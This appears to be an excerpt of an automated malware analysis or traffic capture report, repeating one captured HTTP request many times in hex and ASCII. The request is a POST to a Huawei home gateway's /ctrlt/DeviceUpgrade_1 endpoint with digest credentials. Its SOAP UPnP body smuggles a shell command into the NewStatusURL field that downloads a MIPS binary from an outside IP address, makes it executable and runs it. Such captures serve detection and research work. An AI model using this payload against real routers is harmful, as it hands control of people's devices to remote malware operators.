45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 